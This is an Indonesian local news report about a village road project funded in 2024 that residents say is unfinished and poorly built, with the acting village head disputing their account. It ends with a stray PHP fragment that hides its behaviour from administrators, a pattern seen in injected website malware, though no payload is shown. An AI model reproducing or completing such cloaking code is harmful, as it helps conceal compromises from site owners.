Berita Desa

Pekerjaan Jalan Tahun Anggaran 2024 di Desa Rama Dana Mangkrak

×

Pekerjaan Jalan Tahun Anggaran 2024 di Desa Rama Dana Mangkrak

Sebarkan artikel ini

LOURA, MENARASUMBA.COM – Pekerjaan salah satu ruas jalan di Dusun 4, Desa Rama Dana, Kecamatan Loura yang dibiayai dari Dana Desa Tahun Anggaran 2024 tidak kunjung beres.

Sumber yang dikantongi media ini menyebut, anggaran yang digelontorkan untuk pembangunan jalan sepanjang 1,5 km itu mencapai 210.606.000 (Dua ratus sepuluh juta enam ratus enam ribu rupiah).

Penjabat Kepala Desa Ramadana, Paulus R. Pala. ( Foto Menara Sumba )

Konon, proyek yang ditangani sendiri oleh penjabat kepala desa ini menggunakan Dana Desa tahap satu dan mulai dikerjakan sejak bulan Mei tahun 2024 lalu.

Terpantau, ruas jalan ini dikerjakan asal-asalan dan hingga kini belum kunjung tuntas.

Sejumlah warga yang ditemui pekan lalu mengeluhkan kondisi jalan yang belum bisa dilalui ini.

“Terlebih kami yang butuh air karena mobil tangki penjaja air bersih tidak bisa lewat di jalan ini,” sebut Joni salah satu warga.

Nampak pula sebuah duiker dibiarkan begitu saja tanpa timbunan agregat tanah sehingga tidak bisa dilalui kendaraan.

Sejumlah warga yang ditemui media ini beberapa waktu lalu menyebut, pemandangan jalan yang belum tuntas ini sama sekali tidak digubris oleh penjabat kepala desa.

Warga juga mempersoalkan agregat tanah yang digunakan untuk menimbun badan jalan yang tidak berkualitas.

Kondisi jalan yang dikerjakan asal-asalan. ( Foto Menara Sumba )

Mereka meminta agar penjabat kepala desa memperhatikan juga agregat tanah yang digunakan sehingga kualitas jalan tersebut tidak diabaikan.

Sejumlah item pekerjaan seperti tembok penahan tanah dibiarkan tanpa kejelasan kapan bisa diselesaikan, sementara tahun anggaran sudah berlalu.

“Anggarannya pasti sudah habis sehingga tidak bisa dilanjutkan lagi,” tebak seorang warga lain.

Sejumlah warga ini justru curiga, penjabat kades sengaja mengulur waktu menanti pencairan anggaran tahun 2025 untuk dipakai melanjutkan pekerjaan itu.

“Tolong diperiksa penjabat kepala desanya, dan tipikor turun tangan,” pinta salah satu warga.

Meski sudah berulang kali dihubungi beberapa waktu lalu, Penjabat Kepala Desa Ramadana, Paulus R. Pala tidak bisa dikonfirmasi .

Namun secara kebetulan media ini bertemu sang penjabat kades saat menghadiri penandatanganan MoU antara Rotary Club Sumba dengan Puskesmas Rada Mata, Kamis (06/02/2025).

Dicecar awak media ini, Paulus justru memberikan keterangan berbeda.

Saluran yang dibuat tanpa tembok penahan tanah. ( Foto Menara Sumba )

“Pekerjaannya baru dimulai bulan November tahun lalu,” kilahnya.

Ia juga mengaku jika anggaran untuk pembangunan jalan itu hanya berkisar 160 juta.

“Di November, ya. awal-awal Desember. Dananya 160 (juta), tinggal penahan tanah (TPT) yang belum,” katanya.

Ia malah menyangkal dan mengatakan tidak pernah ada keluhan warga, serta beralasan jika duiker belum kering benar sehingga tidak ditimbun.

“Selesai duikernya Desember, pas hujan. Takutnya oto besar lewat, karena dia kering lambat. tidak ada masyarakat yang mengeluh selama ini,” ujarnya lebih lanjut.

Paulus mengatakan, pihaknya tetap akan menyelesaikan jalan tersebut.

“Sebenarnya ini hari kita muat bahan untuk mulai kerja dia punya penahan. Intinya kita harus selesaikan sebelum SPJ ini, ya kan tahap 2. Yang pasti kita tetap seratus persen kan masalah cuaca saja,” tutupnya berkelit. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>